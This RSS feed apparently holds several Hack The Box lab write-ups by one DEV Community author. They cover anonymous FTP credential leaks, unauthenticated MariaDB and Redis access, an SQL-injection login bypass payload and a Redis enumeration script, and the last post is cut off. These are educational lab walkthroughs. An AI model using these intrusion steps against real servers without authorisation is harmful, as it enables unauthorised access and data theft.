<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: keyfive5 / Obsidian Signal</title>
    <description>The latest articles on DEV Community by keyfive5 / Obsidian Signal (@keyfive5).</description>
    <link>https://dev.to/keyfive5</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3061357%2F04b182be-f5fe-4537-8294-3e31a7a65da9.png</url>
      <title>DEV Community: keyfive5 / Obsidian Signal</title>
      <link>https://dev.to/keyfive5</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/keyfive5"/>
    <language>en</language>
    <item>
      <title>HTB Crocodile: From Anonymous FTP to Admin Panel for the Flag</title>
      <dc:creator>keyfive5 / Obsidian Signal</dc:creator>
      <pubDate>Mon, 21 Apr 2025 03:04:20 +0000</pubDate>
      <link>https://dev.to/keyfive5/htb-crocodile-from-anonymous-ftp-to-admin-panel-for-the-flag-pkk</link>
      <guid>https://dev.to/keyfive5/htb-crocodile-from-anonymous-ftp-to-admin-panel-for-the-flag-pkk</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;In this tutorial, we’ll chain an anonymous FTP leak into a hidden web admin login on Hack The Box’s &lt;strong&gt;Crocodile&lt;/strong&gt; box to retrieve the flag.&lt;/p&gt;

&lt;p&gt;You’ll learn to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enumerate FTP and download leaked credential files
&lt;/li&gt;
&lt;li&gt;Extract valid usernames/passwords
&lt;/li&gt;
&lt;li&gt;Use Gobuster to discover hidden web pages
&lt;/li&gt;
&lt;li&gt;Authenticate to a PHP login panel and capture the flag
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Kali Linux (or any distro with &lt;code&gt;ftp&lt;/code&gt;, &lt;code&gt;gobuster&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;)
&lt;/li&gt;
&lt;li&gt;HTB VPN connection&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  1. FTP Enumeration
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 21,80 &amp;lt;IP&amp;gt;
ftp &amp;lt;IP&amp;gt;
&lt;span class="c"&gt;# login: anonymous&lt;/span&gt;
&lt;span class="nb"&gt;dir
&lt;/span&gt;get allowed.userlist
get allowed.userlist.passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inspect the lists:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;allowed.userlist
&lt;span class="nb"&gt;cat &lt;/span&gt;allowed.userlist.passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  2. Extract Credentials
&lt;/h2&gt;

&lt;p&gt;From &lt;code&gt;allowed.userlist&lt;/code&gt; + &lt;code&gt;.passwd&lt;/code&gt;, find a valid pair (e.g. &lt;code&gt;admin / Supersecretpassword1&lt;/code&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Discover Hidden Pages
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--url&lt;/span&gt; http://&amp;lt;IP&amp;gt;/ &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--wordlist&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-x&lt;/span&gt; php,html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for &lt;code&gt;/login.php&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Admin Login &amp;amp; Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"username=admin&amp;amp;password=Supersecretpassword1"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     http://&amp;lt;IP&amp;gt;/login.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You’ll be redirected to the Admin panel—your flag is displayed at the top.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Lessons Learned
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Anonymous services&lt;/strong&gt; often leak credentials.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Combine&lt;/strong&gt; leaked creds with web enumeration for full-chain exploits.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automate&lt;/strong&gt; with scripts in professional engagements.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;🔗 &lt;strong&gt;Repo &amp;amp; full write‑up:&lt;/strong&gt; &lt;a href="https://github.com/keyfive5/obsidiansignal-htb-crocodile" rel="noopener noreferrer"&gt;https://github.com/keyfive5/obsidiansignal-htb-crocodile&lt;/a&gt;&lt;/p&gt;

</description>
      <category>tutorial</category>
      <category>programming</category>
      <category>hacktoberfest</category>
      <category>ftp</category>
    </item>
    <item>
      <title>Navigating MariaDB on HTB’s ‘Sequel’ Box to Retrieve the Flag</title>
      <dc:creator>keyfive5 / Obsidian Signal</dc:creator>
      <pubDate>Sun, 20 Apr 2025 21:16:02 +0000</pubDate>
      <link>https://dev.to/keyfive5/navigating-mariadb-on-htbs-sequel-box-to-retrieve-the-flag-32b7</link>
      <guid>https://dev.to/keyfive5/navigating-mariadb-on-htbs-sequel-box-to-retrieve-the-flag-32b7</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;In this guide, we’ll connect directly to the MariaDB instance on Hack The Box’s &lt;strong&gt;Sequel&lt;/strong&gt; machine, enumerate its databases, tables, and extract the flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You’ll learn to:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Discover database services with &lt;code&gt;nmap&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Authenticate to MariaDB, including dealing with TLS issues
&lt;/li&gt;
&lt;li&gt;List databases and tables with SQL commands
&lt;/li&gt;
&lt;li&gt;Query tables to retrieve sensitive data (the flag)
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Kali Linux (or any distro with &lt;code&gt;mysql-client&lt;/code&gt;)
&lt;/li&gt;
&lt;li&gt;Active HTB VPN connection
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  1. Scan for MySQL/MariaDB Service
&lt;/h2&gt;

&lt;p&gt;Identify open database port:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; 10.129.28.113 &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap-3306.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output snippet&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;3306/tcp open  mysql?  MariaDB 10.3.27
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  2. Connect to the Database
&lt;/h2&gt;

&lt;p&gt;Bypass TLS requirement in the MariaDB client:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mysql &lt;span class="nt"&gt;--ssl&lt;/span&gt; &lt;span class="nt"&gt;-h&lt;/span&gt; 10.129.28.113 &lt;span class="nt"&gt;-u&lt;/span&gt; root &lt;span class="nt"&gt;--skip-ssl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. Enumerate Databases &amp;amp; Tables
&lt;/h2&gt;

&lt;p&gt;List available databases:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SHOW&lt;/span&gt; &lt;span class="n"&gt;DATABASES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Select the target database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;USE&lt;/span&gt; &lt;span class="n"&gt;htb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;List tables:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SHOW&lt;/span&gt; &lt;span class="n"&gt;TABLES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Retrieve the Flag
&lt;/h2&gt;

&lt;p&gt;Inspect the &lt;code&gt;config&lt;/code&gt; table for the flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;value&lt;/code&gt; column for &lt;code&gt;name = 'flag'&lt;/code&gt; contains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;7b4bec00d1a39e3dd4e021ec3d915da8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Automation Script
&lt;/h2&gt;

&lt;p&gt;Automate enumeration with &lt;code&gt;scripts/enum-mysql.sh&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash scripts/enum-mysql.sh 10.129.28.113
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Lessons Learned
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Direct database access can bypass web app filters.
&lt;/li&gt;
&lt;li&gt;MariaDB often enforces TLS by default—be prepared to adjust client flags.
&lt;/li&gt;
&lt;li&gt;Standard SQL commands (&lt;code&gt;SHOW DATABASES&lt;/code&gt;, &lt;code&gt;SHOW TABLES&lt;/code&gt;) quickly reveal sensitive tables.
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;🔗 &lt;strong&gt;Full tutorial &amp;amp; repo:&lt;/strong&gt; &lt;a href="https://github.com/keyfive5/obsidiansignal-htb-sequel" rel="noopener noreferrer"&gt;https://github.com/keyfive5/obsidiansignal-htb-sequel&lt;/a&gt;  &lt;/p&gt;

</description>
      <category>sql</category>
      <category>mariadb</category>
      <category>hacktoberfest</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Exploiting HTB’s ‘Appointment’ Box with SQL Injection</title>
      <dc:creator>keyfive5 / Obsidian Signal</dc:creator>
      <pubDate>Sun, 20 Apr 2025 17:57:53 +0000</pubDate>
      <link>https://dev.to/keyfive5/exploiting-htbs-appointment-box-with-sql-injection-430d</link>
      <guid>https://dev.to/keyfive5/exploiting-htbs-appointment-box-with-sql-injection-430d</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;In this tutorial, we’ll exploit an SQL Injection vulnerability in Hack The Box’s &lt;strong&gt;Appointment&lt;/strong&gt; web app to bypass authentication and retrieve the flag.&lt;/p&gt;

&lt;p&gt;You’ll learn to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Discover targets with &lt;code&gt;nmap&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;(Optionally) brute-force directories with &lt;code&gt;gobuster&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Craft an SQLi payload to bypass a login form
&lt;/li&gt;
&lt;li&gt;Automate the entire exploit with a Bash script
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Kali Linux (or any distro with &lt;code&gt;nmap&lt;/code&gt;, &lt;code&gt;gobuster&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;)
&lt;/li&gt;
&lt;li&gt;Active HTB VPN connection
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  1. Scan for Open Services
&lt;/h2&gt;

&lt;p&gt;Identify the web server and version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; 10.129.99.212 &lt;span class="nt"&gt;-oN&lt;/span&gt; screenshots/nmap.png
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output snippet&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;80/tcp open  http    Apache httpd 2.4.38 (Debian)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  2. (Optional) Directory Brute-Force
&lt;/h2&gt;

&lt;p&gt;Use Gobuster to check for hidden paths:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.129.99.212 &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="nt"&gt;-o&lt;/span&gt; screenshots/gobuster.png
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No sensitive directories were found.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. SQL Injection Exploitation
&lt;/h2&gt;

&lt;p&gt;Target the login form with this payload:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Username:&lt;/strong&gt; &lt;code&gt;admin'#&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Password:&lt;/strong&gt; anything
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This payload closes the username clause and comments out the rest of the SQL query, bypassing the password check.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://10.129.99.212/login      &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"username=admin'#&amp;amp;password=dummy"&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should see a page indicating you are logged in as &lt;strong&gt;admin&lt;/strong&gt;, revealing the flag.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Flag: e3d0796d002a446c0e622226f42e9672
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Automation Script
&lt;/h2&gt;

&lt;p&gt;Reproduce the exploit with &lt;code&gt;scripts/login-sqli.sh&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash scripts/login-sqli.sh 10.129.99.212
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Lessons Learned
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Unsanitized inputs on login forms lead to trivial SQLi bypass.
&lt;/li&gt;
&lt;li&gt;Always use parameterized queries or stored procedures.
&lt;/li&gt;
&lt;li&gt;Implement input validation and Web Application Firewalls.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;🔗 &lt;strong&gt;Full write-up &amp;amp; code:&lt;/strong&gt; &lt;a href="https://github.com/keyfive5/obsidiansignal-htb-appointment" rel="noopener noreferrer"&gt;https://github.com/keyfive5/obsidiansignal-htb-appointment&lt;/a&gt;  &lt;/p&gt;

</description>
      <category>hackathon</category>
      <category>programming</category>
      <category>linux</category>
      <category>hacktoberfest</category>
    </item>
    <item>
      <title>Exploiting HTB’s ‘Redeemer’ Box with Redis Misconfiguration</title>
      <dc:creator>keyfive5 / Obsidian Signal</dc:creator>
      <pubDate>Sun, 20 Apr 2025 01:54:47 +0000</pubDate>
      <link>https://dev.to/keyfive5/exploiting-htbs-redeemer-box-with-redis-misconfiguration-20dh</link>
      <guid>https://dev.to/keyfive5/exploiting-htbs-redeemer-box-with-redis-misconfiguration-20dh</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;In this tutorial, we’ll exploit a publicly exposed Redis service on Hack The Box’s &lt;strong&gt;Redeemer&lt;/strong&gt; machine. You’ll learn to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Discover Redis with &lt;code&gt;nmap&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Interact with Redis using &lt;code&gt;redis-cli&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;List keys and extract values (including the flag)&lt;/li&gt;
&lt;li&gt;Automate the entire flow in a Bash script&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Basic Linux command‑line skills&lt;/li&gt;
&lt;li&gt;Kali Linux (or any distro with &lt;code&gt;nmap&lt;/code&gt; &amp;amp; &lt;code&gt;redis-cli&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Active HTB VPN connection&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  1. Scan for Redis
&lt;/h2&gt;

&lt;p&gt;First, identify the open Redis port:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-p&lt;/span&gt; 6379 &lt;span class="nt"&gt;-sV&lt;/span&gt; 10.129.136.194 &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap-6379.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output snippet&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;6379/tcp open  redis  Redis key-value store 5.0.7
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fegg74dfngsdpanpxfoge.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fegg74dfngsdpanpxfoge.png" alt="nmap" width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Connect &amp;amp; Inspect
&lt;/h2&gt;

&lt;p&gt;Use &lt;code&gt;redis-cli&lt;/code&gt; to connect and gather server info:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;redis-cli &lt;span class="nt"&gt;-h&lt;/span&gt; 10.129.136.194 info | &lt;span class="nb"&gt;tee &lt;/span&gt;redis-info.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Keyspace
db0:keys=4,expires=0,avg_ttl=0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq4cfmch7fq7rj8qpfv6r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq4cfmch7fq7rj8qpfv6r.png" alt="Redis Info" width="800" height="521"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Retrieve the Flag
&lt;/h2&gt;

&lt;p&gt;Select the database, list all keys, and get the flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;redis-cli &lt;span class="nt"&gt;-h&lt;/span&gt; 10.129.136.194
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;select &lt;/span&gt;0
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; keys &lt;span class="k"&gt;*&lt;/span&gt;
1&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="s2"&gt;"flag"&lt;/span&gt;
2&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="s2"&gt;"temp"&lt;/span&gt;
3&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="s2"&gt;"stor"&lt;/span&gt;
4&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="s2"&gt;"numb"&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; get flag
&lt;span class="s2"&gt;"03e1d2b376c37ab3f5319922053953eb"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;![Flag Retrieval]((&lt;a href="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v67kyk93rxtstt9g3sm9.png" rel="noopener noreferrer"&gt;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v67kyk93rxtstt9g3sm9.png&lt;/a&gt;)&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Automation Script
&lt;/h2&gt;

&lt;p&gt;Save the following as &lt;code&gt;scripts/enum-redis.sh&lt;/code&gt; to automate the process:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;
&lt;span class="c"&gt;# Usage: ./enum-redis.sh &amp;lt;TARGET_IP&amp;gt;&lt;/span&gt;

&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] Scanning for Redis..."&lt;/span&gt;
nmap &lt;span class="nt"&gt;-p&lt;/span&gt; 6379 &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nv"&gt;$TARGET&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap-6379.txt

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] Gathering Redis INFO..."&lt;/span&gt;
redis-cli &lt;span class="nt"&gt;-h&lt;/span&gt; &lt;span class="nv"&gt;$TARGET&lt;/span&gt; info | &lt;span class="nb"&gt;tee &lt;/span&gt;redis-info.txt

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] Listing keys..."&lt;/span&gt;
redis-cli &lt;span class="nt"&gt;-h&lt;/span&gt; &lt;span class="nv"&gt;$TARGET&lt;/span&gt; &lt;span class="nt"&gt;--raw&lt;/span&gt; keys &lt;span class="s1"&gt;'*'&lt;/span&gt; | &lt;span class="nb"&gt;tee &lt;/span&gt;keys.txt

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] Retrieving flag..."&lt;/span&gt;
&lt;span class="nv"&gt;FLAG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;redis-cli &lt;span class="nt"&gt;-h&lt;/span&gt; &lt;span class="nv"&gt;$TARGET&lt;/span&gt; get flag&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] Flag: &lt;/span&gt;&lt;span class="nv"&gt;$FLAG&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run it with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash scripts/enum-redis.sh 10.129.136.194
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Lessons Learned
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Public Redis&lt;/strong&gt; installations often allow unauthenticated access by default.&lt;/li&gt;
&lt;li&gt;Always run &lt;code&gt;INFO&lt;/code&gt; and &lt;code&gt;KEYS *&lt;/code&gt; to enumerate available data.&lt;/li&gt;
&lt;li&gt;Automate repetitive enumeration tasks with simple Bash scripts.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Conclusion &amp;amp; Next Steps
&lt;/h2&gt;

&lt;p&gt;You’ve now owned HTB’s Redeemer box by exploiting a Redis misconfiguration in under five commands. Next, consider:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Integrating Redis checks into your Recon automation.&lt;/li&gt;
&lt;li&gt;Exploring authenticated Redis attacks (ACLs, password brute‑forcing).&lt;/li&gt;
&lt;li&gt;Leveling up with lateral‑movement and persistence labs.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;🔗 &lt;strong&gt;Full write‑up &amp;amp; code:&lt;/strong&gt; &lt;a href="https://github.com/keyfive5/obsidiansignal-htb-redeemer" rel="noopener noreferrer"&gt;https://github.com/keyfive5/obsidiansignal-htb-redeemer&lt;/a&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>redis</category>
      <category>pentesting</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Smashing HTB’s ‘Dancing’ with SMB Misconfigurations</title>
      <dc:creator>keyfive5 / Obsidian Signal</dc:creator>
      <pubDate>Sat, 19 Apr 2025 10:16:09 +0000</pubDate>
      <link>https://dev.to/keyfive5/smashing-htbs-dancing-with-smb-misconfigurations-2l1a</link>
      <guid>https://dev.to/keyfive5/smashing-htbs-dancing-with-smb-misconfigurations-2l1a</guid>
      <description>&lt;p&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In this tutorial, we’ll walk through exploiting a poorly secured SMB share on the Hack The Box “Dancing” machine. By the end, you’ll be able to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enumerate SMB shares with &lt;code&gt;nmap&lt;/code&gt; and &lt;code&gt;smbclient&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Identify guest/anonymous access permissions
&lt;/li&gt;
&lt;li&gt;Exfiltrate files and retrieve flags
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Prerequisites&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Basic Linux command‑line skills
&lt;/li&gt;
&lt;li&gt;Kali or any distro with &lt;code&gt;nmap&lt;/code&gt; &amp;amp; &lt;code&gt;smbclient&lt;/code&gt; installed or Parrot OS
&lt;/li&gt;
&lt;li&gt;HTB VPN connection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;1. Port Scanning&lt;/strong&gt;&lt;/p&gt;

